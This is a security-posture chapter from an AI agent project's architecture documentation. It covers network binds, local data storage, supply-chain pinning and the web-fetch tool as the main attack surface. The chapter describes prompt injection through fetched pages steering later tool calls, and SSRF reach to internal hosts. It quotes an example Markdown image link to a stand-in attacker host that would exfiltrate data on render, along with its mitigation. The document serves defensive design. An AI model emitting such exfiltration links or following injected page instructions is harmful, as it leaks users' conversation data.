Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

9) Security Posture

From cognokratos/sophos-agent · docs/architecture/9-security-posture.md · pinned revision 8d9fe52182d8

Local inference and local state by default, with explicit network access through configured tools. This is a secure local-development default, not a hardened multi-user deployment. There is no authentication.

Network exposure

ListenerBound toNotes
Web app (Docker)127.0.0.1:5173Not reachable from the LAN.
Web app (pnpm dev)Vite default (localhost)Passing --host would expose it; don't.
Memory / Fetch MCPinternal Compose network onlyNo host ports. Reachable from other containers on that network.
MCP Inspector127.0.0.1:6274, only with --profile inspectorIts backend can spawn processes; never publish it beyond loopback.

The agent endpoints (/api/chat etc.) are unauthenticated. Anyone who can reach the port can read every conversation and drive the agent, including its tools. Keep the loopback bind; to share a demo, put an authenticating reverse proxy or an SSH tunnel in front.

Data

  • Conversations, runs and checkpoints: data/db/sophos.db (SQLite, not encrypted). Knowledge graph: data/memory/memory.jsonl. Both are git-ignored and stay on the machine. Tool results (e.g. fetched pages) are stored in the checkpoints.
  • Prompts go only to the configured OLLAMA_HOST. Pointing it at a remote Ollama sends conversation content there.
  • No telemetry.

Explicit egress: the Fetch MCP

The Fetch MCP server makes outbound HTTP requests to URLs chosen by the model. That is the system's deliberate internet access, and it is the main attack surface:

  • Prompt injection: fetched pages become model input and can steer subsequent tool calls (e.g. writing to Memory).
  • Rendering model output: assistant messages are rendered as Markdown (src/lib/markdown.ts): marked → HTML, sanitized by DOMPurify (no scripts, event handlers, javascript: URLs, forms or inline styles). Images are shown as links and never loaded, because an injected ![](https://attacker/?q=…) would otherwise send data out as soon as it renders. Links open with rel="noopener noreferrer nofollow".
  • SSRF: the server does not block private or loopback addresses. Under Docker it can reach mcp-memory:8080 and the host via host.docker.internal (including Ollama); under pnpm dev it can reach anything on your machine and LAN.
  • It honours robots.txt for autonomous fetches; that is a courtesy, not a security control.

Remove fetch from mcp.json to run with no tool-initiated network access. Note that this is a configuration control: the Compose network is not internal, so containers can still open outbound connections. Learn: 08 — Local-first and runtime ownership.

Supply chain

  • App dependencies install from pnpm-lock.yaml with --frozen-lockfile; pnpm itself is pinned via packageManager + Corepack.
  • MCP containers install from lockfiles (package-lock.json, requirements.txt); the Inspector image is pinned by tag.
  • Local stdio servers are pinned by version in config/mcp.json, but npx/uvx still resolve their transitive dependencies at first run.
  • Base images use major-version tags (not digests).

Containers

  • MCP containers run as a non-root user. The web container currently runs as root (roadmap).
  • infra/app/config is mounted read-only into web.

This chapter is maintained in cognokratos/sophos-agent beside the code it teaches. The book shows docs/architecture/9-security-posture.md at revision 8d9fe52182d8441454916ec8a6ab13c0773228e2 (branch main). View source at this revision · Report a correction.

Corrections are made upstream against the current main branch and appear here when the book's pin for this source is updated.